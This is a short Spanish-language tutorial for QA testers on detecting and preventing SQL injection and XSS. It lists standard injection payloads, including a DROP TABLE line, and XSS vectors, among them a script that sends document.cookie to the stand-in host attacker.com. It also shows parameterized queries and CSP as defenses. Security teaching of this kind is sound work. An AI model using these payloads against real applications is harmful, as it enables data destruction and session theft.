SQL (como se discute en OWASP ZAP Automation: Security Scanning in CI/CD) Injection y Cross-Site Scripting (XSS) permanecen entre las vulnerabilidades más críticas de aplicaciones web. Entender cómo detectar, probar y prevenir estos ataques es esencial para profesionales de QA.

SQL Injection

Tipos de SQL Injection

1. SQL Injection Clásica

SELECT * FROM users WHERE username = '$username'

-- Payload de ataque
username: admin' OR '1'='1

2. Blind SQL Injection

admin' AND SLEEP(5)--
admin' AND 1=1--

Testing

Payloads Manuales:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL--

Prevención

# Mal
query = f"SELECT * FROM users WHERE id = {user_id}"

# Bien: Consultas parametrizadas
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))

Cross-Site Scripting (XSS)

Tipos de XSS

1. Reflected XSS

<script>alert('XSS')</script>

2. Stored XSS

<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>

Testing

<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>

Prevención

// Mal
element.innerHTML = userInput;

// Bien
element.textContent = userInput;

// CSP
Content-Security-Policy: default-src 'self'

Conclusión

SQL Injection y XSS son vulnerabilidades críticas que requieren testing activo. Usa combinación de testing manual y automatizado, implementa validación apropiada y monitorea continuamente.